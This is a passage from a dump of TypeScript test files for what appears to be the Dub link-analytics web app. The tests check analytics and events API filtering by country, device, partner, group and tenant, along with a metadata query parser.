   operator: \"IS_NOT\",\n          sqlOperator: \"NOT IN\",\n          values: [\"pn_abc123\"],\n        },\n      });\n      expect(result.partnerId).toEqual([\"pn_abc123\"]);\n      expect(result.partnerIdOperator).toBe(\"NOT IN\");\n    });\n\n    test(\"extracts multiple partnerIds with NOT IN operator\", () => {\n      const result = extractWorkspaceLinkFilters({\n        partnerId: {\n          operator: \"IS_NOT_ONE_OF\",\n          sqlOperator: \"NOT IN\",\n          values: [\"pn_abc123\", \"pn_def456\"],\n        },\n      });\n      expect(result.partnerId).toEqual([\"pn_abc123\", \"pn_def456\"]);\n      expect(result.partnerIdOperator).toBe(\"NOT IN\");\n    });\n\n    test(\"returns undefined partnerId when not provided\", () => {\n      const result = extractWorkspaceLinkFilters({});\n      expect(result.partnerId).toBeUndefined();\n      expect(result.partnerIdOperator).toBe(\"IN\"); // default\n    });\n\n    test(\"works alongside other workspace link filters\", () => {\n      const result = extractWorkspaceLinkFilters({\n        domain: {\n          operator: \"IS\",\n          sqlOperator: \"IN\",\n          values: [\"dub.sh\"],\n        },\n        partnerId: {\n          operator: \"IS_ONE_OF\",\n          sqlOperator: \"IN\",\n          values: [\"pn_abc123\", \"pn_def456\"],\n        },\n        folderId: {\n          operator: \"IS_NOT\",\n          sqlOperator: \"NOT IN\",\n          values: [\"fold_xyz\"],\n        },\n      });\n      expect(result.domain).toEqual([\"dub.sh\"]);\n      expect(result.domainOperator).toBe(\"IN\");\n      expect(result.partnerId).toEqual([\"pn_abc123\", \"pn_def456\"]);\n      expect(result.partnerIdOperator).toBe(\"IN\");\n      expect(result.folderId).toEqual([\"fold_xyz\"]);\n      expect(result.folderIdOperator).toBe(\"NOT IN\");\n    });\n  });\n\n  describe(\"extractWorkspaceLinkFilters - groupId\", () => {\n    test(\"extracts single groupId with IN operator\", () => {\n      const result = extractWorkspaceLinkFilters({\n        groupId: {\n          operator: \"IS\",\n          sqlOperator: \"IN\",\n          values: [\"grp_abc123\"],\n        },\n      });\n      expect(result.groupId).toEqual([\"grp_abc123\"]);\n      expect(result.groupIdOperator).toBe(\"IN\");\n    });\n\n    test(\"extracts multiple groupIds with IN operator\", () => {\n      const result = extractWorkspaceLinkFilters({\n        groupId: {\n          operator: \"IS_ONE_OF\",\n          sqlOperator: \"IN\",\n          values: [\"grp_abc123\", \"grp_def456\", \"grp_ghi789\"],\n        },\n      });\n      expect(result.groupId).toEqual([\n        \"grp_abc123\",\n        \"grp_def456\",\n        \"grp_ghi789\",\n      ]);\n      expect(result.groupIdOperator).toBe(\"IN\");\n    });\n\n    test(\"extracts single groupId with NOT IN operator\", () => {\n      const result = extractWorkspaceLinkFilters({\n        groupId: {\n          operator: \"IS_NOT\",\n          sqlOperator: \"NOT IN\",\n          values: [\"grp_abc123\"],\n        },\n      });\n      expect(result.groupId).toEqual([\"grp_abc123\"]);\n      expect(result.groupIdOperator).toBe(\"NOT IN\");\n    });\n\n    test(\"extracts multiple groupIds with NOT IN operator\", () => {\n      const result = extractWorkspaceLinkFilters({\n        groupId: {\n          operator: \"IS_NOT_ONE_OF\",\n          sqlOperator: \"NOT IN\",\n          values: [\"grp_abc123\", \"grp_def456\"],\n        },\n      });\n      expect(result.groupId).toEqual([\"grp_abc123\", \"grp_def456\"]);\n      expect(result.groupIdOperator).toBe(\"NOT IN\");\n    });\n\n    test(\"returns undefined groupId when not provided\", () => {\n      const result = extractWorkspaceLinkFilters({});\n      expect(result.groupId).toBeUndefined();\n      expect(result.groupIdOperator).toBe(\"IN\"); // default\n    });\n\n    test(\"works alongside partnerId and other filters\", () => {\n      const result = extractWorkspaceLinkFilters({\n        partnerId: {\n          operator: \"IS\",\n          sqlOperator: \"IN\",\n          values: [\"pn_abc123\"],\n        },\n        groupId: {\n          operator: \"IS_ONE_OF\",\n          sqlOperator: \"IN\",\n          values: [\"grp_abc123\", \"grp_def456\"],\n        },\n        domain: {\n          operator: \"IS_NOT\",\n          sqlOperator: \"NOT IN\",\n          values: [\"spam.com\"],\n        },\n      });\n      expect(result.partnerId).toEqual([\"pn_abc123\"]);\n      expect(result.partnerIdOperator).toBe(\"IN\");\n      expect(result.groupId).toEqual([\"grp_abc123\", \"grp_def456\"]);\n      expect(result.groupIdOperator).toBe(\"IN\");\n      expect(result.domain).toEqual([\"spam.com\"]);\n      expect(result.domainOperator).toBe(\"NOT IN\");\n    });\n  });\n\n  describe(\"extractWorkspaceLinkFilters - tenantId\", () => {\n    test(\"extracts single tenantId with IN operator\", () => {\n      const result = extractWorkspaceLinkFilters({\n        tenantId: {\n          operator: \"IS\",\n          sqlOperator: \"IN\",\n          values: [\"tenant_abc123\"],\n        },\n      });\n      expect(result.tenantId).toEqual([\"tenant_abc123\"]);\n      expect(result.tenantIdOperator).toBe(\"IN\");\n    });\n\n    test(\"extracts multiple tenantIds with IN operator\", () => {\n      const result = extractWorkspaceLinkFilters({\n        tenantId: {\n          operator: \"IS_ONE_OF\",\n          sqlOperator: \"IN\",\n          values: [\"tenant_abc\", \"tenant_def\", \"tenant_ghi\"],\n        },\n      });\n      expect(result.tenantId).toEqual([\n        \"tenant_abc\",\n        \"tenant_def\",\n        \"tenant_ghi\",\n      ]);\n      expect(result.tenantIdOperator).toBe(\"IN\");\n    });\n\n    test(\"extracts tenantId with NOT IN operator\", () => {\n      const result = extractWorkspaceLinkFilters({\n        tenantId: {\n          operator: \"IS_NOT_ONE_OF\",\n          sqlOperator: \"NOT IN\",\n          values: [\"tenant_abc\", \"tenant_def\"],\n        },\n      });\n      expect(result.tenantId).toEqual([\"tenant_abc\", \"tenant_def\"]);\n      expect(result.tenantIdOperator).toBe(\"NOT IN\");\n    });\n\n    test(\"returns undefined tenantId when not provided\", () => {\n      const result = extractWorkspaceLinkFilters({});\n      expect(result.tenantId).toBeUndefined();\n      expect(result.tenantIdOperator).toBe(\"IN\");\n    });\n\n    test(\"works alongside all other workspace link filters\", () => {\n      const result = extractWorkspaceLinkFilters({\n        domain: { operator: \"IS\", sqlOperator: \"IN\", values: [\"dub.sh\"] },\n        partnerId: { operator: \"IS\", sqlOperator: \"IN\", values: [\"pn_abc\"] },\n        groupId: { operator: \"IS\", sqlOperator: \"IN\", values: [\"grp_abc\"] },\n        tenantId: {\n          operator: \"IS_ONE_OF\",\n          sqlOperator: \"IN\",\n          values: [\"t1\", \"t2\"],\n        },\n        folderId: {\n          operator: \"IS_NOT\",\n          sqlOperator: \"NOT IN\",\n          values: [\"fold_x\"],\n        },\n      });\n      expect(result.domain).toEqual([\"dub.sh\"]);\n      expect(result.partnerId).toEqual([\"pn_abc\"]);\n      expect(result.groupId).toEqual([\"grp_abc\"]);\n      expect(result.tenantId).toEqual([\"t1\", \"t2\"]);\n      expect(result.tenantIdOperator).toBe(\"IN\");\n      expect(result.folderId).toEqual([\"fold_x\"]);\n      expect(result.folderIdOperator).toBe(\"NOT IN\");\n    });\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/analytics/get-analytics-advanced.test.ts",
    "content": "import { analyticsResponse } from \"@/lib/zod/schemas/analytics-response\";\nimport { describe, expect, test } from \"vitest\";\nimport * as z from \"zod/v4\";\nimport { env } from \"../utils/env\";\nimport { IntegrationHarness } from \"../utils/integration\";\nimport {\n  E2E_PARTNER,\n  E2E_PARTNERS,\n  E2E_PARTNER_GROUP,\n} from \"../utils/resource\";\n\ndescribe\n  .runIf(env.CI)\n  .sequential(\"GET /analytics (advanced filters)\", async () => {\n    const h = new IntegrationHarness();\n    const { workspace, http } = await h.init();\n    const workspaceId = workspace.id;\n\n    describe(\"groupBy country / device\", () => {\n      test(\"single country filter\", async () => {\n        const { status, data } = await http.get<any[]>({\n          path: \"/analytics\",\n          query: {\n            event: \"clicks\",\n            groupBy: \"countries\",\n            workspaceId,\n            interval: \"30d\",\n            domain: \"dub.sh\",\n            key: \"checkly-check\",\n            country: \"US\",\n          },\n        });\n\n        expect(status).toEqual(200);\n        const parsed = z\n          .array(analyticsResponse.countries.strict())\n          .safeParse(data);\n        expect(parsed.success).toBeTruthy();\n        expect(parsed.data?.every((item) => item.country === \"US\")).toBe(true);\n      });\n\n      test(\"multiple countries filter (IS ONE OF)\", async () => {\n        const { status, data } = await http.get<any[]>({\n          path: \"/analytics\",\n          query: {\n            event: \"clicks\",\n            groupBy: \"countries\",\n            workspaceId,\n            interval: \"30d\",\n            domain: \"dub.sh\",\n            key: \"checkly-check\",\n            country: \"US,CA,GB\",\n          },\n        });\n\n        expect(status).toEqual(200);\n        const parsed = z\n          .array(analyticsResponse.countries.strict())\n          .safeParse(data);\n        expect(parsed.success).toBeTruthy();\n        expect(\n          parsed.data?.every((item) =>\n            [\"US\", \"CA\", \"GB\"].includes(item.country),\n          ),\n        ).toBe(true);\n      });\n\n      test(\"exclude country (IS NOT)\", async () => {\n        const { status, data } = await http.get<any[]>({\n          path: \"/analytics\",\n          query: {\n            event: \"clicks\",\n            groupBy: \"countries\",\n            workspaceId,\n            interval: \"30d\",\n            domain: \"dub.sh\",\n            key: \"checkly-check\",\n            country: \"-US\",\n          },\n        });\n\n        expect(status).toEqual(200);\n        const parsed = z\n          .array(analyticsResponse.countries.strict())\n          .safeParse(data);\n        expect(parsed.success).toBeTruthy();\n        expect(parsed.data?.every((item) => item.country !== \"US\")).toBe(true);\n      });\n\n      test(\"exclude multiple countries (IS NOT ONE OF)\", async () => {\n        const { status, data } = await http.get<any[]>({\n          path: \"/analytics\",\n          query: {\n            event: \"clicks\",\n            groupBy: \"countries\",\n            workspaceId,\n            interval: \"30d\",\n            domain: \"dub.sh\",\n            key: \"checkly-check\",\n            country: \"-US,GB\",\n          },\n        });\n\n        expect(status).toEqual(200);\n        const parsed = z\n          .array(analyticsResponse.countries.strict())\n          .safeParse(data);\n        expect(parsed.success).toBeTruthy();\n        expect(\n          parsed.data?.every((item) => ![\"US\", \"GB\"].includes(item.country)),\n        ).toBe(true);\n      });\n\n      test(\"multiple devices filter\", async () => {\n        const { status, data } = await http.get<any[]>({\n          path: \"/analytics\",\n          query: {\n            event: \"clicks\",\n            groupBy: \"devices\",\n            workspaceId,\n            interval: \"30d\",\n            domain: \"dub.sh\",\n            key: \"checkly-check\",\n            device: \"mobile,desktop\",\n          },\n        });\n\n        expect(status).toEqual(200);\n        const parsed = z\n          .array(analyticsResponse.devices.strict())\n          .safeParse(data);\n        expect(parsed.success).toBeTruthy();\n        expect(\n          parsed.data?.every((item) =>\n            [\"Mobile\", \"Desktop\"].includes(item.device),\n          ),\n        ).toBe(true);\n      });\n\n      test(\"backward compatibility - old format still works\", async () => {\n        const { status, data } = await http.get<any[]>({\n          path: \"/analytics\",\n          query: {\n            event: \"clicks\",\n            groupBy: \"countries\",\n            workspaceId,\n            interval: \"30d\",\n            domain: \"dub.sh\",\n            key: \"checkly-check\",\n            country: \"US\",\n          },\n        });\n\n        expect(status).toEqual(200);\n        const parsed = z\n          .array(analyticsResponse.countries.strict())\n          .safeParse(data);\n        expect(parsed.success).toBeTruthy();\n        expect(parsed.data?.every((item) => item.country === \"US\")).toBe(true);\n      });\n    });\n\n    describe(\"filter by partnerId\", () => {\n      test(\"single partnerId filter (count)\", async () => {\n        const { status, data } = await http.get<any>({\n          path: \"/analytics\",\n          query: {\n            event: \"clicks\",\n            groupBy: \"top_partners\",\n            workspaceId,\n            interval: \"all\",\n            partnerId: E2E_PARTNER.id,\n          },\n        });\n\n        expect(status).toEqual(200);\n        const parsed = z\n          .array(analyticsResponse.top_partners.strict())\n          .safeParse(data);\n        expect(parsed.success).toBeTruthy();\n        expect(\n          parsed.data?.every((item) => item.partner.id === E2E_PARTNER.id),\n        ).toBe(true);\n      });\n\n      test(\"multiple partnerIds filter (IS ONE OF)\", async () => {\n        const partnerIds = E2E_PARTNERS.map((p) => p.id);\n        const { status, data } = await http.get<any>({\n          path: \"/analytics\",\n          query: {\n            event: \"clicks\",\n            groupBy: \"top_partners\",\n            workspaceId,\n            interval: \"all\",\n            partnerId: partnerIds.join(\",\"),\n          },\n        });\n\n        expect(status).toEqual(200);\n        const parsed = z\n          .array(analyticsResponse.top_partners.strict())\n          .safeParse(data);\n        expect(parsed.success).toBeTruthy();\n        expect(\n          parsed.data?.every((item) =>\n            partnerIds.some((id) => id === item.partner.id),\n          ),\n        ).toBe(true);\n      });\n\n      test(\"exclude partnerId (IS NOT)\", async () => {\n        const { status, data } = await http.get<any>({\n          path: \"/analytics\",\n          query: {\n            event: \"clicks\",\n            groupBy: \"top_partners\",\n            workspaceId,\n            interval: \"all\",\n            partnerId: `-${E2E_PARTNER.id}`,\n          },\n        });\n\n        expect(status).toEqual(200);\n        const parsed = z\n          .array(analyticsResponse.top_partners.strict())\n          .safeParse(data);\n        expect(parsed.success).toBeTruthy();\n        expect(\n          parsed.data?.every((item) => item.partner.id !== E2E_PARTNER.id),\n        ).toBe(true);\n      });\n\n      test(\"exclude multiple partnerIds (IS NOT ONE OF)\", async () => {\n        const partnerIds = E2E_PARTNERS.map((p) => p.id);\n        const { status, data } = await http.get<any>({\n          path: \"/analytics\",\n          query: {\n            event: \"clicks\",\n            groupBy: \"top_partners\",\n            workspaceId,\n            interval: \"all\",\n            partnerId: `-${partnerIds.join(\",\")}`,\n          },\n        });\n\n        expect(status).toEqual(200);\n        const parsed = z\n          .array(analyticsResponse.top_partners.strict())\n          .safeParse(data);\n        expect(parsed.success).toBeTruthy();\n        expect(\n          parsed.data?.every(\n            (item: any) => !partnerIds.some((id) => id === item.partner.id),\n          ),\n        ).toBe(true);\n      });\n\n      test(\"backward compatibility - single partnerId still works\", async () => {\n        const { status, data } = await http.get<any>({\n          path: \"/analytics\",\n          query: {\n            event: \"clicks\",\n            groupBy: \"top_partners\",\n            workspaceId,\n            interval: \"all\",\n            partnerId: E2E_PARTNER.id,\n          },\n        });\n\n        expect(status).toEqual(200);\n        const parsed = z\n          .array(analyticsResponse.top_partners.strict())\n          .safeParse(data);\n        expect(parsed.success).toBeTruthy();\n        expect(\n          parsed.data?.every((item) => item.partner.id === E2E_PARTNER.id),\n        ).toBe(true);\n      });\n    });\n\n    describe(\"filter by groupId\", () => {\n      test(\"single groupId filter (count)\", async () => {\n        const { status, data } = await http.get<any>({\n          path: \"/analytics\",\n          query: {\n            event: \"clicks\",\n            groupBy: \"top_groups\",\n            workspaceId,\n            interval: \"all\",\n            groupId: E2E_PARTNER_GROUP.id,\n          },\n        });\n\n        expect(status).toEqual(200);\n        const parsed = z\n          .array(analyticsResponse.top_groups.strict())\n          .safeParse(data);\n        expect(parsed.success).toBeTruthy();\n        expect(\n          parsed.data?.every((item) => item.group.id === E2E_PARTNER_GROUP.id),\n        ).toBe(true);\n      });\n\n      test(\"exclude groupId (IS NOT)\", async () => {\n        const { status, data } = await http.get<any>({\n          path: \"/analytics\",\n          query: {\n            event: \"clicks\",\n            groupBy: \"top_groups\",\n            workspaceId,\n            interval: \"all\",\n            groupId: `-${E2E_PARTNER_GROUP.id}`,\n          },\n        });\n\n        expect(status).toEqual(200);\n        const parsed = z\n          .array(analyticsResponse.top_groups.strict())\n          .safeParse(data);\n        expect(parsed.success).toBeTruthy();\n        expect(\n          parsed.data?.every((item) => item.group.id !== E2E_PARTNER_GROUP.id),\n        ).toBe(true);\n      });\n\n      test(\"backward compatibility - single groupId still works\", async () => {\n        const { status, data } = await http.get<any>({\n          path: \"/analytics\",\n          query: {\n            event: \"clicks\",\n            groupBy: \"top_groups\",\n            workspaceId,\n            interval: \"all\",\n            groupId: E2E_PARTNER_GROUP.id,\n          },\n        });\n\n        expect(status).toEqual(200);\n        const parsed = z\n          .array(analyticsResponse.top_groups.strict())\n          .safeParse(data);\n        expect(parsed.success).toBeTruthy();\n        expect(\n          parsed.data?.every((item) => item.group.id === E2E_PARTNER_GROUP.id),\n        ).toBe(true);\n      });\n    });\n  });\n"
  },
  {
    "path": "apps/web/tests/analytics/get-analytics.test.ts",
    "content": "import { VALID_ANALYTICS_ENDPOINTS } from \"@/lib/analytics/constants\";\nimport { analyticsResponse } from \"@/lib/zod/schemas/analytics-response\";\nimport { describe, expect, test } from \"vitest\";\nimport * as z from \"zod/v4\";\nimport { env } from \"../utils/env\";\nimport { IntegrationHarness } from \"../utils/integration\";\n\ndescribe.runIf(env.CI).sequential(\"GET /analytics\", async () => {\n  const h = new IntegrationHarness();\n  const { workspace, http } = await h.init();\n  const workspaceId = workspace.id;\n\n  VALID_ANALYTICS_ENDPOINTS.map((groupBy) => {\n    test(`by ${groupBy}`, async () => {\n      const { status, data } = await http.get<any[]>({\n        path: \"/analytics\",\n        query: {\n          event: \"composite\",\n          groupBy,\n          workspaceId,\n          interval: \"30d\",\n          ...(groupBy !== \"top_partners\"\n            ? {\n                domain: \"dub.sh\",\n                key: \"checkly-check\",\n              }\n            : {}),\n        },\n      });\n\n      const responseSchema =\n        groupBy === \"count\"\n          ? analyticsResponse[groupBy].strict()\n          : z.array(analyticsResponse[groupBy].strict());\n\n      const parsed = responseSchema.safeParse(data);\n\n      expect(status).toEqual(200);\n      expect(parsed.success).toBeTruthy();\n    });\n  });\n\n  test(\"filter events by metadata.productId\", async () => {\n    const { status, data } = await http.get<any[]>({\n      path: \"/events\",\n      query: {\n        event: \"sales\",\n        workspaceId,\n        interval: \"30d\",\n        query: \"metadata['productId']:premiumProductId\",\n      },\n    });\n\n    expect(status).toEqual(200);\n\n    // check to make sure all events have metadata.productId equal to premiumProductId\n    expect(\n      data.every((event) => event.metadata?.productId === \"premiumProductId\"),\n    ).toBe(true);\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/analytics/get-events.test.ts",
    "content": "import { clickEventResponseSchema } from \"@/lib/zod/schemas/clicks\";\nimport { CustomerSchema } from \"@/lib/zod/schemas/customers\";\nimport { leadEventResponseSchema as leadEventResponseSchemaRaw } from \"@/lib/zod/schemas/leads\";\nimport { saleEventResponseSchema as saleEventResponseSchemaRaw } from \"@/lib/zod/schemas/sales\";\nimport { describe, expect, test } from \"vitest\";\nimport * as z from \"zod/v4\";\nimport { env } from \"../utils/env\";\nimport { IntegrationHarness } from \"../utils/integration\";\nimport { E2E_PARTNER, E2E_PARTNERS, E2E_PROGRAM } from \"../utils/resource\";\n\nconst customerSchemaExtended = CustomerSchema.extend({\n  createdAt: z.string().transform((str) => new Date(str)), // because the date is in UTC string in JSON\n});\n\nconst leadEventResponseSchema = leadEventResponseSchemaRaw.extend({\n  customer: customerSchemaExtended,\n});\n\nconst saleEventResponseSchema = saleEventResponseSchemaRaw.extend({\n  customer: customerSchemaExtended,\n});\n\ndescribe.runIf(env.CI).sequential(\"GET /events\", async () => {\n  const h = new IntegrationHarness();\n  const { workspace, http } = await h.init();\n  const workspaceId = workspace.id;\n\n  test(\"get click events\", async () => {\n    const { status, data } = await http.get<any[]>({\n      path: \"/events\",\n      query: {\n        event: \"clicks\",\n        workspaceId,\n        interval: \"30d\",\n        domain: \"dub.sh\",\n        key: \"checkly-check\",\n      },\n    });\n\n    const parsed = z.array(clickEventResponseSchema.strict()).safeParse(data);\n\n    expect(status).toEqual(200);\n    expect(parsed.success).toBeTruthy();\n  });\n\n  test(\"get lead events\", async () => {\n    const { status, data } = await http.get<any[]>({\n      path: \"/events\",\n      query: {\n        event: \"leads\",\n        workspaceId,\n        interval: \"30d\",\n      },\n    });\n\n    const parsed = z.array(leadEventResponseSchema.strict()).safeParse(data);\n\n    expect(status).toEqual(200);\n    expect(parsed.success).toBeTruthy();\n  });\n\n  test(\"get sale events\", async () => {\n    const { status, data } = await http.get<any[]>({\n      path: \"/events\",\n      query: {\n        event: \"sales\",\n        workspaceId,\n        interval: \"30d\",\n      },\n    });\n\n    const parsed = z.array(saleEventResponseSchema.strict()).safeParse(data);\n\n    expect(status).toEqual(200);\n    expect(parsed.success).toBeTruthy();\n  });\n\n  describe(\"Advanced Filters\", () => {\n    test(\"filter events by country\", async () => {\n      const { status, data } = await http.get<any[]>({\n        path: \"/events\",\n        query: {\n          event: \"clicks\",\n          workspaceId,\n          interval: \"30d\",\n          domain: \"dub.sh\",\n          key: \"checkly-check\",\n          country: \"US\",\n        },\n      });\n\n      const parsed = z.array(clickEventResponseSchema.strict()).safeParse(data);\n\n      expect(status).toEqual(200);\n      expect(parsed.success).toBeTruthy();\n      // expect all events to have country US\n      data.forEach((event) => {\n        expect(event.click.country).toBe(\"US\");\n      });\n    });\n\n    test(\"filter events by multiple countries (IS ONE OF)\", async () => {\n      const { status, data } = await http.get<any[]>({\n        path: \"/events\",\n        query: {\n          event: \"clicks\",\n          workspaceId,\n          interval: \"30d\",\n          domain: \"dub.sh\",\n          key: \"checkly-check\",\n          country: \"US,CA,GB\",\n        },\n      });\n\n      expect(status).toEqual(200);\n      const parsed = z.array(clickEventResponseSchema.strict()).safeParse(data);\n      expect(parsed.success).toBeTruthy();\n      // expect all events to have country US, CA, or GB\n      parsed.data?.forEach((event) => {\n        expect([\"US\", \"CA\", \"GB\"]).toContain(event.click.country);\n      });\n    });\n\n    test(\"exclude country (IS NOT)\", async () => {\n      const { status, data } = await http.get<any[]>({\n        path: \"/events\",\n        query: {\n          event: \"clicks\",\n          workspaceId,\n          interval: \"30d\",\n          domain: \"dub.sh\",\n          key: \"checkly-check\",\n          country: \"-US\",\n        },\n      });\n\n      expect(status).toEqual(200);\n      const parsed = z.array(clickEventResponseSchema.strict()).safeParse(data);\n      expect(parsed.success).toBeTruthy();\n      // expect all events to not have country US\n      parsed.data?.forEach((event) => {\n        expect(event.click.country).not.toBe(\"US\");\n      });\n    });\n\n    test(\"filter events by metadata query\", async () => {\n      const { status, data } = await http.get<any[]>({\n        path: \"/events\",\n        query: {\n          event: \"sales\",\n          workspaceId,\n          interval: \"30d\",\n          query: \"metadata['productId']:premiumProductId\",\n        },\n      });\n\n      expect(status).toEqual(200);\n      const parsed = z.array(saleEventResponseSchema.strict()).safeParse(data);\n      expect(parsed.success).toBeTruthy();\n      // expect all events to have metadata.productId equal to premiumProductId\n      parsed.data?.forEach((event) => {\n        expect(event.metadata?.productId).toBe(\"premiumProductId\");\n      });\n    });\n\n    test(\"filter events by single partnerId\", async () => {\n      const { status, data } = await http.get<any[]>({\n        path: \"/events\",\n        query: {\n          event: \"leads\",\n          workspaceId,\n          interval: \"all\",\n          partnerId: E2E_PARTNER.id,\n        },\n      });\n\n      expect(status).toEqual(200);\n      const parsed = z.array(leadEventResponseSchema.strict()).safeParse(data);\n      expect(parsed.success).toBeTruthy();\n      parsed.data?.forEach((event) => {\n        // expect all events to have partnerId equal to E2E_PARTNER.id\n        expect(event.link.partnerId).toBe(E2E_PARTNER.id);\n        // also expect the programId to be the same as the E2E_PROGRAM.id\n        expect(event.link.programId).toBe(E2E_PROGRAM.id);\n      });\n    });\n\n    test(\"filter events by multiple partnerIds (IS ONE OF)\", async () => {\n      const partnerIds = E2E_PARTNERS.map((p) => p.id);\n      const { status, data } = await http.get<any[]>({\n        path: \"/events\",\n        query: {\n          event: \"leads\",\n          workspaceId,\n          interval: \"all\",\n          partnerId: partnerIds.join(\",\"),\n        },\n      });\n\n      expect(status).toEqual(200);\n      const parsed = z.array(leadEventResponseSchema.strict()).safeParse(data);\n      expect(parsed.success).toBeTruthy();\n      // expect all events to have partnerId equal to E2E_PARTNER.id\n      parsed.data?.forEach((event) => {\n        expect(partnerIds).toContain(event.link.partnerId);\n      });\n    });\n\n    test(\"exclude events by partnerId (IS NOT)\", async () => {\n      const partnerIds = E2E_PARTNERS.map((p) => p.id);\n      const { status, data } = await http.get<any[]>({\n        path: \"/events\",\n        query: {\n          event: \"clicks\",\n          workspaceId,\n          interval: \"all\",\n          partnerId: `-${partnerIds.join(\",\")}`,\n        },\n      });\n\n      expect(status).toEqual(200);\n      const parsed = z.array(clickEventResponseSchema.strict()).safeParse(data);\n      expect(parsed.success).toBeTruthy();\n      parsed.data?.forEach((event) => {\n        expect(partnerIds).not.toContain(event.link.partnerId);\n      });\n    });\n\n    test(\"filter events by partnerId combined with country\", async () => {\n      const { status, data } = await http.get<any[]>({\n        path: \"/events\",\n        query: {\n          event: \"clicks\",\n          workspaceId,\n          interval: \"all\",\n          partnerId: E2E_PARTNER.id,\n          country: \"US\",\n        },\n      });\n\n      expect(status).toEqual(200);\n      const parsed = z.array(clickEventResponseSchema.strict()).safeParse(data);\n      expect(parsed.success).toBeTruthy();\n      parsed.data?.forEach((event) => {\n        expect(event.click.country).toBe(\"US\");\n        expect(event.link.partnerId).toBe(E2E_PARTNER.id);\n      });\n    });\n\n    test(\"filter events by single tenantId\", async () => {\n      const { status, data } = await http.get<any[]>({\n        path: \"/events\",\n        query: {\n          event: \"clicks\",\n          workspaceId,\n          interval: \"all\",\n          tenantId: E2E_PARTNER.tenantId,\n        },\n      });\n\n      expect(status).toEqual(200);\n      const parsed = z.array(clickEventResponseSchema.strict()).safeParse(data);\n      expect(parsed.success).toBeTruthy();\n      parsed.data?.forEach((event) => {\n        expect(event.link.tenantId).toBe(E2E_PARTNER.tenantId);\n      });\n    });\n\n    test(\"exclude events by tenantId (IS NOT)\", async () => {\n      const { status, data } = await http.get<any[]>({\n        path: \"/events\",\n        query: {\n          event: \"clicks\",\n          workspaceId,\n          interval: \"all\",\n          tenantId: `-${E2E_PARTNER.tenantId}`,\n        },\n      });\n\n      expect(status).toEqual(200);\n      const parsed = z.array(clickEventResponseSchema.strict()).safeParse(data);\n      expect(parsed.success).toBeTruthy();\n      parsed.data?.forEach((event) => {\n        expect(event.link.tenantId).not.toBe(E2E_PARTNER.tenantId);\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/analytics/metadata-query-parser.test.ts",
    "content": "import { metadataQueryParser } from \"@/lib/analytics/metadata-query-parser\";\nimport { describe, expect, it } from \"vitest\";\n\ndescribe(\"Analytics Query Parser\", () => {\n  it(\"should parse simple nested property\", () => {\n    const result = metadataQueryParser(\"metadata['key']:value\");\n    expect(result).toEqual([\n      { operand: \"metadata.key\", operator: \"equals\", value: \"value\" },\n    ]);\n  });\n\n  it(\"should parse nested property with double quotes\", () => {\n    const result = metadataQueryParser('metadata[\"key\"]:\"quoted value\"');\n    expect(result).toEqual([\n      { operand: \"metadata.key\", operator: \"equals\", value: \"quoted value\" },\n    ]);\n  });\n\n  it(\"should parse deeply nested property\", () => {\n    const result = metadataQueryParser(\n      \"metadata['level1']['level2']['level3']:value\",\n    );\n    console.log(result);\n    expect(result).toEqual([\n      {\n        operand: \"metadata.level1.level2.level3\",\n        operator: \"equals\",\n        value: \"value\",\n      },\n    ]);\n  });\n\n  it(\"should parse nested property with complex path\", () => {\n    const result = metadataQueryParser(\n      \"metadata['user']['preferences']['theme']:dark\",\n    );\n    expect(result).toEqual([\n      {\n        operand: \"metadata.user.preferences.theme\",\n        operator: \"equals\",\n        value: \"dark\",\n      },\n    ]);\n  });\n\n  it(\"should parse equals operator (:) for nested property\", () => {\n    const result = metadataQueryParser(\"metadata['key']:value\");\n    expect(result).toEqual([\n      { operand: \"metadata.key\", operator: \"equals\", value: \"value\" },\n    ]);\n  });\n\n  it(\"should parse not equals operator for nested property\", () => {\n    const result = metadataQueryParser(\"metadata['status']!=completed\");\n    expect(result).toEqual([\n      { operand: \"metadata.status\", operator: \"notEquals\", value: \"completed\" },\n    ]);\n  });\n\n  it(\"should handle empty query\", () => {\n    const result = metadataQueryParser(\"\");\n    expect(result).toBeUndefined();\n  });\n\n  it(\"should handle null query\", () => {\n    const result = metadataQueryParser(null as any);\n    expect(result).toBeUndefined();\n  });\n\n  it(\"should handle undefined query\", () => {\n    const result = metadataQueryParser(undefined as any);\n    expect(result).toBeUndefined();\n  });\n\n  it(\"should handle whitespace-only query\", () => {\n    const result = metadataQueryParser(\"   \");\n    expect(result).toBeUndefined();\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/analytics/partner-analytics.test.ts",
    "content": "import { analyticsResponse } from \"@/lib/zod/schemas/analytics-response\";\nimport { describe, expect, test } from \"vitest\";\nimport * as z from \"zod/v4\";\nimport { env } from \"../utils/env\";\nimport { IntegrationHarnessOld } from \"../utils/integration-old\";\nimport { E2E_PARTNER, E2E_PROGRAM } from \"../utils/resource\";\n\ndescribe\n  .runIf(env.CI)\n  .sequential(\n    \"GET /partner-profile/programs/[programId]/analytics\",\n    async () => {\n      const h = new IntegrationHarnessOld();\n      const { http } = await h.init();\n\n      test(\"get top links for partner\", async () => {\n        const { status, data } = await http.get<any>({\n          path: `/partner-profile/programs/${E2E_PROGRAM.id}/analytics`,\n          query: {\n            groupBy: \"top_links\",\n          },\n        });\n\n        expect(status).toEqual(200);\n        const parsed = z\n          .array(analyticsResponse.top_links.strict())\n          .safeParse(data);\n        expect(parsed.success).toBeTruthy();\n        expect(\n          parsed.data?.every((item) => item.partnerId === E2E_PARTNER.id),\n        ).toBe(true);\n      });\n\n      test(\"get top links for partner (filtered by linkId)\", async () => {\n        const { status, data } = await http.get<any>({\n          path: `/partner-profile/programs/${E2E_PROGRAM.id}/analytics`,\n          query: {\n            groupBy: \"top_links\",\n            linkId: E2E_PARTNER.link.id,\n          },\n        });\n\n        expect(status).toEqual(200);\n        const parsed = z\n          .array(analyticsResponse.top_links.strict())\n          .safeParse(data);\n        expect(parsed.success).toBeTruthy();\n        expect(\n          parsed.data?.every((item) => item.partnerId === E2E_PARTNER.id),\n        ).toBe(true);\n        expect(\n          parsed.data?.every((item) => item.id === E2E_PARTNER.link.id),\n        ).toBe(true);\n      });\n\n      test(\"get top links for partner (filtered by domain and key)\", async () => {\n        const { status, data } = await http.get<any>({\n          path: `/partner-profile/programs/${E2E_PROGRAM.id}/analytics`,\n          query: {\n            groupBy: \"top_links\",\n            domain: E2E_PARTNER.link.domain,\n            key: E2E_PARTNER.link.key,\n          },\n        });\n\n        expect(status).toEqual(200);\n        const parsed = z\n          